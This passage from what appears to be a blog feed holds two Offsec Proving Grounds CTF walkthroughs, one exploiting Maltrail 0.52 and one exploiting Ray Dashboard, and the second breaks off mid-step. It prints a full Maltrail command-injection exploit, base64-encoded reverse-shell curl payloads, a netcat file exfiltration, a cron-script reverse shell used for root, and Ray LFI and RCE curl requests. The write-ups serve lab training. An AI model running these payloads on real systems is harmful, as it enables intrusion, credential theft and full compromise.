Disclosure vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/138/1*s0odXSgg4qn14EnBIXj3kA.png" /><figcaption>No RSA keys accepted.</figcaption></figure><p>Port 80 — Web Server, Apache 2.4.52</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qmuiCoJc2kcp25D2hWzpvw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*gKBR7bp-ZRTzCEzgsh0OOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HfJJHJh5Ezl_x5Db9CRztg.png" /></figure><p>While our initial scan is not useful, we can add file types and brute-force content using different word lists if we wish. I usually save that for a second pass if my initial enumeration does not turn up anything. We can move on for now.</p><p>Port 8338 — Web Server, Maltrail 0.52</p><p>The Nmap scan is all over the place, so let’s just go there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W_bVXCvs-pwU_PJrqnds4Q.png" /></figure><p>It appears to be some type of security software call Maltrail. I’m going to start Gobuster while I research more about it. I’m always a little suspicious of software that has not committed to a 1.0 version at least. They seem to be indicating an unfinished product by the version number.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CedZCXt_3IahuYFeRtnFTQ.png" /></figure><p>I have not encountered this error. It seem to signal a connection termination. I am unable to proceed with this scan even if I change the user agent with -a, and dirbuster also fails. I am going to assume that this port is protected against this type of enumeration.</p><p>What else can we find? What is this first of all?</p><p><a href="https://github.com/stamparm/maltrail">GitHub - stamparm/maltrail: Malicious traffic detection system</a></p><p>As of this writing they appear to be on version 0.66. Searching for public exploits brings us home some bacon.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DCnngWPVzRGPCBC8QQWv1A.png" /></figure><p>It is likely that an exploit on version 0.53 will also apply to version 0.52. <a href="https://github.com/spookier/Maltrail-v0.53-Exploit">Let’s check it out</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nQ4IgsjjvJbIFbh2QIMUYg.png" /><figcaption>Seem straight-forward.</figcaption></figure><p>They supply us with the following python exploit code:</p><pre>&#39;&#39;&#39;<br>  ██████  ██▓███   ▒█████   ▒█████   ██ ▄█▀ ██▓▓█████  ██▀███  <br>▒██    ▒ ▓██░  ██▒▒██▒  ██▒▒██▒  ██▒ ██▄█▒ ▓██▒▓█   ▀ ▓██ ▒ ██▒<br>░ ▓██▄   ▓██░ ██▓▒▒██░  ██▒▒██░  ██▒▓███▄░ ▒██▒▒███   ▓██ ░▄█ ▒<br>  ▒   ██▒▒██▄█▓▒ ▒▒██   ██░▒██   ██░▓██ █▄ ░██░▒▓█  ▄ ▒██▀▀█▄  <br>▒██████▒▒▒██▒ ░  ░░ ████▓▒░░ ████▓▒░▒██▒ █▄░██░░▒████▒░██▓ ▒██▒<br>▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒ ▒▒ ▓▒░▓  ░░ ▒░ ░░ ▒▓ ░▒▓░<br>░ ░▒  ░ ░░▒ ░       ░ ▒ ▒░   ░ ▒ ▒░ ░ ░▒ ▒░ ▒ ░ ░ ░  ░  ░▒ ░ ▒░<br>░  ░  ░  ░░       ░ ░ ░ ▒  ░ ░ ░ ▒  ░ ░░ ░  ▒ ░   ░     ░░   ░ <br>      ░               ░ ░      ░ ░  ░  ░    ░     ░  ░   ░     <br>&#39;&#39;&#39;<br><br>import sys;<br>import os;<br>import base64;<br><br>def main():<br> listening_IP = None<br> listening_PORT = None<br> target_URL = None<br><br> if len(sys.argv) != 4:<br>  print(&quot;Error. Needs listening IP, PORT and target URL.&quot;)<br>  return(-1)<br> <br> listening_IP = sys.argv[1]<br> listening_PORT = sys.argv[2]<br> target_URL = sys.argv[3] + &quot;/login&quot;<br> print(&quot;Running exploit on &quot; + str(target_URL))<br> curl_cmd(listening_IP, listening_PORT, target_URL)<br><br>def curl_cmd(my_ip, my_port, target_url):<br> payload = f&#39;python3 -c \&#39;import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;{my_ip}&quot;,{my_port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(&quot;/bin/sh&quot;)\&#39;&#39;<br> encoded_payload = base64.b64encode(payload.encode()).decode()  # encode the payload in Base64<br> command = f&quot;curl &#39;{target_url}&#39; --data &#39;username=;`echo+\&quot;{encoded_payload}\&quot;+|+base64+-d+|+sh`&#39;&quot;<br> os.system(command)<br><br>if __name__ == &quot;__main__&quot;:<br>  main()</pre><p>This appears cut and dry, all we need to do is populate the IP, PORT, and URL variable and run it. Note that, the creator has specified that this information is be <em>run as arguments in the command line</em>. Do not edit the python script or it will fail.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tqvmf2BdIcwH4a7UzPeREg.png" /></figure><p>I like that the creator took the time to add his SPOOKIER banner. It calls back to the pre-internet days of dial-up Bulletin Boards (BBS).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jiupcHysDmfAB5FuqsOmeQ.png" /></figure><p>Set up a listener, a solid use case for my favorite lightweight C2, <a href="https://github.com/brightio/penelope">Penelope</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*Tc9hYESfQ8jpnd2lnzJrhQ.png" /></figure><p>Now we can run the exploit, easy-peasy.</p><pre>python3 exploit.py 192.168.45.247 80 $IP:8338</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*OG0uKlOX41ZpLGfvZ74cpA.png" /></figure><p>Then we check our listener:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EjHscmYFJknszoCJedyOzA.png" /></figure><p>The connection message looks a little funky but it works. This happens when we use a python reverse shell to connect to Penelope.py.</p><p>We didn’t have to do that. If we look a the exploit script, we can see the creator is just using a curl command and <em>has chosen to base64 a python reverse shell</em>.</p><p>Let cancel out and do this manually.</p><p>First exit and restart your listener.</p><p>With some research I discovered this as CVE-2023–27163. The specific exploit code we will test manually is found when defining the ‘command’ variable of the ‘curl_cmd(my_ip, my_port, target_url)’ function:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d9IhCwIuGS9u_ybENuD82w.png" /><figcaption>Line 35</figcaption></figure><pre>curl &#39;{target_url}&#39; --data &#39;username=;`echo+\&quot;{encoded_payload}\&quot;+|+base64+-d+|+sh`&#39;</pre><p>Let’s examine these components individually, they are:</p><ul><li>{target_url} — This is supplied by Offensive Security. Mine is 192.168.229.32 but I exported it to $IP, so our URL will be $IP:8338/login</li><li>— data is a the curl argument to attach a data stream</li><li>Then notice that the exploit reads ‘username=;’ This semicolon is indicative of a classic command injection.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/120/1*kGGID6GT2uC0kUFbK_mNyA.png" /></figure><ul><li>Then we echo the command in the {encoded_payload} variable — This is a base64 encoded reverse shell. They are using the ‘Python3 #2’ from <a href="https://www.revshells.com/">https://www.revshells.com/</a>. I am going to use the ‘nc mkfifo’ rev-shell instead. Also revshells.com will Base64 encode it for you as well. So mine will be cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxiYXNoIC1pIDI+JjF8bmMgMTkyLjE2OC40NS4yMDIgODAgPi90bXAvZg==</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3zzKzlsA178cJm9elXsYJQ.png" /></figure><ul><li>Then the last bit</li></ul><pre>+|+base64+-d+|+sh`&#39;</pre><ul><li>This is just piping the encoded payload to a decode command and then piping that to shell (but I will change it to bash).</li></ul><p>Let’s expand that out, filling in what we know. Here’s our curl command. Make sure to include the full address including the ‘/login’.</p><pre>curl $IP:8338/login --data &#39;username=;`echo+\&quot;cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxiYXNoIC1pIDI+JjF8bmMgMTkyLjE2OC40NS4yMDIgODAgPi90bXAvZg==\&quot;+|+base64+-d+|+bash`&#39;</pre><p>We use backslashes to escape the double quotes above and encapsulate the echo statement in back-ticks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XSTNP9qWEiRRAy7aZYhEvw.png" /></figure><p>Substituting different reverse shell commands fails. After some trial, error, and research I discover that the rev-shell command has to be in Python because the Maltrail application is <em>written</em> in Python. I guess I was thinking we were trying to pass the rev-shell command through to system on the other side when actually, we are interacting with the python server application <em>in </em>python.</p><p>So the corrected curl command is:</p><pre>curl $IP:8338/login --data &#39;username=;`echo+\&quot;&lt;YOUR BASE64 CODE&gt;\&quot;+|+base64+-d+|+bash`&#39;<br><br>#This was mine<br>curl $IP:8338/login --data &#39;username=;`echo+\&quot;cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjE5Mi4xNjguNDUuMjQ3Iiw4MCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oImJhc2giKSc=\&quot;+|+base64+-d+|+bash`&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uuto_w5ZLVCUpU8BaYgzOw.png" /></figure><p>We took a bit of a detour but my goal in writing these articles is to demonstrate process, technique, and as best as I can, explain the logic.</p><p>We can live with a little terminal mess, at least we have a proper bash shell with tab auto-complete. You will have to fix the terminal by exporting the TERM variable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/267/1*JiXrLUHatHALhB95QepkfA.png" /></figure><p>So now I want to know who and where I am.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*8ZMaUWCFLnW4fRhzKlg36w.png" /></figure><p>What are our permissions?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*w2IAD23sAqIF--6ZDv1-Hw.png" /><figcaption>No love</figcaption></figure><p>Time to find our home directory and get some enumeration scripts on the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*62T-d_FUbXKSG1Q5kUTPdQ.png" /></figure><p>The ‘etc_bacup.tar’ file looks juicy. We will move that to our box and extract it in a bit.</p><p>First I want to see what our enumeration scripts have to say. Let’s make some noise! (says no pentester ever).</p><p>Normally I would use the in-built functionality of the Penelope python script to automatically upload and run these escalation scripts but I encountered an error, so I will have to get them manually.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*Y1Q89BgKF5TmLO7d13oyxg.png" /><figcaption>Get to the main menu by pressing F12, then use the command ‘help run’.</figcaption></figure><p>So manually, we set up a file server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*2tHKEBsyqVFMDl6M5K2pXQ.png" /><figcaption>I used this port because I know from Nmap that it is open</figcaption></figure><p>wget the the script(s) that we want:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*NJpvhvOMaBTuljXo2FfLzQ.png" /></figure><p>Make the executable and run. I’ll run Linpeas first posting the important bits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*DqNxF5INhp60BzjHI63XMQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*90J-V81zRpGuKQeplfq8rg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IqvuEFUA7SKRi7V47gGnIg.png" /><figcaption>I have a successful history with both of these with older Operating Systems. I’ll likely try them if the Tar file from the home directory doesn’t pan out.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*bWwsu8zYy736HnFTYaRCsA.png" /><figcaption>Both these files are worth looking at.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qbWtHOhMuaz3Eq7yLTrSTg.png" /><figcaption>This is why. It is likely that one of the files above was run by root 14 minutes ago.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*QKGUsCQq0butUbhiGOGQvQ.png" /><figcaption>I didn’t realize there was a hostname.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*pAYo9S2R--vUjrHMyb1LfQ.png" /><figcaption>This is a wealth of options. I am particularly interested in the compilers and lxc.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*NBk4i1I5ZyUG5YyntafGlg.png" /><figcaption>Here is extra motivation to bring this over to our machine and extract it.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/355/1*GTA9ORTeSknN8t5Ty37R-g.png" /><figcaption>Well hello, this is likely related to the tar file above. All signs point to it.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/441/1*uOLd6bFpDqG7C8lI781lMQ.png" /><figcaption>It always worth examining anything in the unexpected category as it is non-default.</figcaption></figure><p>At this point we are relatively certain that our escalation path will come from the etc_backup.tar and/or etc_Backup.sh script but I am going to run lse.sh anyway because is is part of my process and provides different information. I always run it with the ‘-l1’ argument to go one level deeper.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GU6Er5hczSCatT5UiA0QLQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KoxYs0bd-t2iXn15oKvuHQ.png" /><figcaption>This output is one reason I like this script.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q7UIM9NVXT_83EJkgufNrA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VzubmfLDc893NRcsbZPrAw.png" /><figcaption>Here is the confirmation of the cronjob suspicion from Linpeas</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0uXu_OBLKPDHzL9OmdDUhw.png" /><figcaption>This is why I wanted to run this script. We can write here, perfect.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jZO06qmNKluyD6B27Q4ttw.png" /><figcaption>More confirmation of our escalation path. I love that a process monitor is included with the script. It’s a big time saver.</figcaption></figure><p>Time to move the back up file over to our Kali machine. First I’m going to set up a netcat listener and redirect the received data into a file. We have to cancel our file server because we know egress traffic is allowed on port 8338. I tried other ports unsuccessfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*Yo76j6Q2M_2V6QC5Vba3Ig.png" /></figure><p>Then back on our victim machine we cat our file and pipe it to netcat and our address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*2NDjDBWAa-Yqkmxun_w0Hg.png" /></figure><p>We should receive a connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*8N5cwYP2Q5oJALBEdIHydQ.png" /></figure><p>Pressing CTRL+C with end the connection (which returns our shell on both sides).</p><p>Now we should verify that all was received by hashing the file at both ends.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*dNdCZv4y53eGIGRZNE0dmw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*qUU3qLbJix1Qy1jXyJnLtA.png" /></figure><p>Looks good. Let’s extract our loot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*EdCQ4ExS6LmoNheJ7ePAOA.png" /></figure><p>There is a tine here as it is the entire etc/ folder. Let’s look for some goodies, /etc/shadow maybe? A SSH key as suggested previously?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YNbH2IcXort1sVEcJhcAiA.png" /></figure><p>That’s exciting but can we crack it? First we have to <a href="https://hashes.com/en/tools/hash_identifier">identify it</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qm1bYfQJZDY-VMlVfQICvw.png" /><figcaption>I have not heard of Yescrypt until now.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*E4FpR6czG3rY5GySA0Yk2g.png" /></figure><p>That didn’t work. Best practice is to try hashcat on a new tab and let it run while we work on other avenues of escalation.</p><p>Given all the evidence from our enumeration scripts, I am going to forgo that idea for now. I think our path to victory is through cronjobs, specifically that etc_Backup.sh file. Let’s look at that now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*dlgzKVK5zpaowQDqGhnzdw.png" /></figure><p>Oh dear, look at those permissions!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*G0T_fJV6rqUDyOeyvYbHXQ.png" /></figure><p>Well, that’s our answer. This file is wide open. There is a lot we can do here. I’m just going to add a simple rev-shell, set up a listener on port 8338 and wait. I sure would like to know how often this runs…</p><p>I always like to test the rev-shell code before I commit to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*X1vS98yzcuSI2JyzvtUTLg.png" /></figure><p>Check listener:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WdjhAY_fm1ZKrOiHDTNc4w.png" /><figcaption>Looks good.</figcaption></figure><p>Great now we can add this code to the etc_Backup.sh file and wait.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*l0MHuyta4CHfOHxYITAUQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*3ZU6ugOPOUWiAWpgMygRwQ.png" /></figure><p>It happens practically right away.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rkVQvvWMlhlMZ0pirSa3-w.png" /></figure><p>I was going to move <a href="https://github.com/DominicBreuker/pspy">pspy</a> over to the machine so I could get am idea of how long we needed but that is irrelevant now.</p><p>Thanks for reading and enjoy the rest of your day!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f3da31d98af5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds Practice — CTF-200–06]]></title>
            <link>https://medium.com/@Dpsypher/proving-grounds-practice-ctf-200-06-7cd52032adaf?source=rss-60268ef8e972------2</link>
            <guid isPermaLink="false">https://medium.com/p/7cd52032adaf</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[web-application-security]]></category>
            <dc:creator><![CDATA[Dpsypher]]></dc:creator>
            <pubDate>Thu, 22 Feb 2024 16:49:53 GMT</pubDate>
            <atom:updated>2024-03-11T16:14:45.607Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds Practice — CVE-2023–6019 (CTF-200–06)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*JJ3LvF_kYPPZA4HU3BsFgA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yr5kyFJEb-N2jvlsPIyn7Q.png" /><figcaption>I just noticed this was Part 6 of a series. Looks like I’m doing them out of order.</figcaption></figure><p>This is an intermediate box on Offsec’s PG Practice and the community agrees that it is of intermediate difficulty. Up until now I have been creating my posts from previous notes, but I have gotten bored with that and am craving new action, so this is the first walkthrough that is fresh to me. Let’s see if I still got it!</p><p>Start with a Nmap scan:</p><pre>sudo nmap -Pn -n $IP -sC -sV -p- --open</pre><p>I start nearly every box this way because it quickly returns a wealth of information. Sudo as it defaults to the faster half-open SYN scan, then -Pn to ignore ping and assume it is up, -n to ignore DNS, the IP address, -sC for default scripts, -sV for version information, -p- to scan all ports, and MOST importantly the — open argument to apply scripts and version scans to found open ports<em> only</em>.</p><pre>┌──(kali㉿kali)-[~/offsec-labs/TEMP-publish]<br>└─$ sudo nmap -Pn -n $IP -sC -sV -p- --open          <br>[sudo] password for kali: <br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-21 09:54 EST<br>Nmap scan report for 192.168.182.37<br>Host is up (0.089s latency).<br>Not shown: 65521 closed tcp ports (reset)<br>PORT      STATE SERVICE VERSION<br>22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)<br>|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)<br>|_  256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)<br>9000/tcp  open  http    aiohttp 3.9.1 (Python 3.8)<br>|_http-title: Ray Dashboard<br>|_http-server-header: Python/3.8 aiohttp/3.9.1<br>33447/tcp open  unknown<br>35081/tcp open  unknown<br>35611/tcp open  unknown<br>39099/tcp open  unknown<br>39265/tcp open  unknown<br>43622/tcp open  http    WSGIServer 0.2 (Python 3.8.10)<br>|_http-title: Site doesn&#39;t have a title (text/plain; version=0.0.4; charset=utf-8).<br>|_http-server-header: WSGIServer/0.2 CPython/3.8.10<br>|_http-trane-info: Problem with XML parsing of /evox/about<br>44217/tcp open  http    WSGIServer 0.2 (Python 3.8.10)<br>|_http-title: Site doesn&#39;t have a title (text/plain; version=0.0.4; charset=utf-8).<br>|_http-server-header: WSGIServer/0.2 CPython/3.8.10<br>44227/tcp open  http    WSGIServer 0.2 (Python 3.8.10)<br>|_http-server-header: WSGIServer/0.2 CPython/3.8.10<br>|_http-title: Site doesn&#39;t have a title (text/plain; version=0.0.4; charset=utf-8).<br>|_http-trane-info: Problem with XML parsing of /evox/about<br>46443/tcp open  unknown<br>48601/tcp open  unknown<br>52365/tcp open  http    aiohttp 3.9.1 (Python 3.8)<br>|_http-server-header: Python/3.8 aiohttp/3.9.1<br>|_http-title: Site doesn&#39;t have a title (text/plain; charset=utf-8).<br>64249/tcp open  unknown<br><br>8 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :<br>...<br><br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>When the TCP scan finishes, immediately run a UDP scan.</p><pre>sudo nmap -Pn -n $IP -sU --top-ports=100 --reason</pre><p>Even if it comes up empty, scanning the UDP ports as well is best practice. When it hits, it’s usually a big deal, maybe Simple Network Management Protocol (SNMP) is available. Let this run while we review the TCP scan, we’ll come back to it <em>if it becomes important</em>. Note that I am only interested in the top 100 ports. UDP scans take a long time if we are not precise. Lastly we add — reason to understand why ports are returned as open, open|filtered, or closed.</p><p>What do we see with our initial TCP Nmap scan?</p><p>A mess, we see what appears to be six web servers and eight unknown services as well as SSH. Let’s stick to our process and start that Gobuster scan on port 9000.</p><pre>sudo gobuster dir -w &#39;/home/kali/Desktop/wordlists/dirbuster/directory-list-2.3-medium.txt&#39; -u http://$IP:9000 -t 42 -b 400,401,403,404 --no-error</pre><p>I run it with 42 threads (-t 42) because it’s a good balance of speed and caution. If you go too fast, directories and files can be missed. Also, I’m not bug hunting, so I’m not going to dive deeply into fuzzing different 400 codes. They are just visual noise to me, so I eliminate them (-b 400,401,403,404). Lastly, I loathe seeing the ‘Time Exceeded’ errors so we eliminate them with — no-errors.</p><p>With that running, we can now look at all the ports.</p><p>Port 22 — SSH, OpenSSH 8.2p1 Ubuntu 4ubuntu0.9</p><p>SSH exploits are extremely rare and difficult to exploit if they exist (i.e. <a href="https://terrapin-attack.com/">Terrapin</a>). My process is to grab the type of accepted key in case it comes up later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/129/1*hHdrXM3U504-wr5_7Z0I2g.png" /></figure><p>Port 9000 — Web Server, aiohttp 3.9.1 (Python 3.8)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*St5Of21pnQuDX_ZAL8P_Vg.png" /></figure><p>Let’s browse there. The HTTP Title is “Ray Dashboard”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HCfc3q7_aV8QefORu97huw.png" /></figure><p>My first thought is that this should be locked behind a login portal. It feels like we just gained unauthenticated access to at the very least, information disclosure.</p><p>As always, our best practice is to have Burp Suite engaged (with intercept off) and walk the application. We want to explore the functionality.</p><p>We can see there is one job running (likely this instance).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6I3xLCh1fvphUk9b4IGK6w.png" /></figure><p>Under the Cluster Tab we can view the source to discover that the application is being run by root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gQzhpNpUIi4aNL9gVfF6Uw.png" /></figure><p>I’m not familiar with Ray Dashboard, but I find <a href="https://docs.ray.io/en/latest/ray-observability/getting-started.html">some documentation.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/305/1*LR21i2yXIinv984LL2eYCg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*4dZCJM1SFSbtD-jdH2vyiw.png" /></figure><p>The most recent version is 2.92. I was unable to find version information for this instance. If you found this please leave directions in the comments.</p><p>Next I we can look for public exploits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*vw6KBM21k3fjA2QTvptgxQ.png" /></figure><p>First we find <a href="https://github.com/ray-project/ray/issues/39701">an article</a> indicating LFI vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GP91RFGtjtTywdWahYGLaA.png" /></figure><p>We’ll keep an eye out for how to exploit that but for now, let’s keep looking.</p><p>When I scroll down I find <a href="https://bishopfox.com/blog/ray-versions-2-6-3-2-8-0">something better</a> on the older versions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*72tcSLQPX7fwIytSIkoLcA.png" /></figure><p>This article is excellent and gives us some Proof of Concept code to try for our LFI exploit.</p><p>“If a valid node_id value is included in the request, the Ray Dashboard API returns the content of any file accessible to the account the web application server is running as”. (So root in this case)</p><p>We can find the node_id in two ways. It can be easily seen under the Cluster tab. We want the main (Head) ID as indicated by CPU use and the IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*XOoLQ9M7L1y97it2u4P53Q.png" /></figure><p>The article also gives a way to curl for it. The article indicates that the default port for this is 8265, but note that this instance has been installed on port 9000.</p><pre>curl -s &quot;http://$IP:9000/nodes?view=summary&quot; | jq -r &#39;.data.summary[].raylet | select(.isHeadNode==true) | .nodeId&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jUPIqDN-6MFAp9s5Xvqi2w.png" /><figcaption>Yay, it matches!</figcaption></figure><p>Now that we have the node_id we can continue following the PoC and try to curl for the /etc/passwd file. I use my node_id below, be sure to use yours when you run this command.</p><pre>#Export our node_id to a variable then abuse the LFI<br>export node_id=d87f561e2d3e407995cc64b649a59b058b69dfdd133d7eeeaa463d8a<br><br>curl &quot;http://$IP:9000/api/v0/logs/file?node_id=$node_id&amp;filename=/etc/passwd&amp;lines=100&quot;<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VTYTEkuQc_8QDISeJNi4Nw.png" /><figcaption>Other than ‘1root’ there are no usernames.</figcaption></figure><p>If there were usernames, I would attempt to grab SSH keys. I tried to get them from root but I was not successful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*944DK4Gyv8cbt_5NwRNfig.png" /><figcaption>As you can see by the proof.txt, we have access but there is no SSH key or its name is unconventional.</figcaption></figure><p>Further more, the article includes <a href="https://huntr.com/bounties/787a07c0-5535-469f-8c53-3efa4e5717c7/">another link</a> to <a href="https://huntr.com/">https://huntr.com/</a> (a bug bounty site) that discovered a way to weaponize this access to achieve the coveted Remote Code Execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*7C6Btgwv7XFuai2fnuaMMA.png" /></figure><p>We need to translate their PoC to fit our scenario.</p><p>In summary, port 52365 hosts logs but is also vulnerable and hosts an entry point for code execution.</p><p>When looking at the Jobs Tab, we can see previous jobs that have been entered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*HqhrioYODDYuPiC7BSonFw.png" /></figure><p>We can add another one through an endpoint discovered by B<a href="https://huntr.com/users/brycebearchell">ryce Bearchel</a>.</p><p>He informs us that using curl, we can embed a base64 command and insert it in JSON format to an end point located at ‘:52365/api/job_agent/jobs/’ to achieve RCE.</p><pre>curl -X &#39;POST&#39; &#39;http://192.168.x.x:52365/api/job_agent/jobs/&#39; -d &#39;{&quot;entrypoint&quot;:&quot;echo &lt;BASE64 GOES HERE&gt;|base64$IFS-d|sudo -n sh&quot;}&#39;</pre><p>Let’s test it with simple curl Back to Our machine. It’s a good idea to test payloads with something simple before increasing the complexity. It helps us stay on track and identify errors early.</p><p>Set up a simple file server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*I3vWVvQBAJj8agmFvKV1vg.png" /></figure><p>Base64 the curl command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*3Q1Z7a0IAWD9EzeAXwECLw.png" /><figcaption>Use your tun0 IP address here</figcaption></figure><p>Insert that base64 segment into the previous template. Be sure to use that current IP address assigned to this machine.</p><pre>curl -X &#39;POST&#39; &#39;http://192.168.229.37:52365/api/job_agent/jobs/&#39; -d &#39;{&quot;entrypoint&quot;:&quot;echo Y3VybCBodHRwOi8vMTkyLjE2OC40NS4yMDIvSG93ZHkK|base64$IFS-d|sudo -n sh&quot;}&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xZJkJ63KrzNM_qrhdkw5Rg.png" /></figure><p>The entry point accepted our JSON submission and responded with Job and 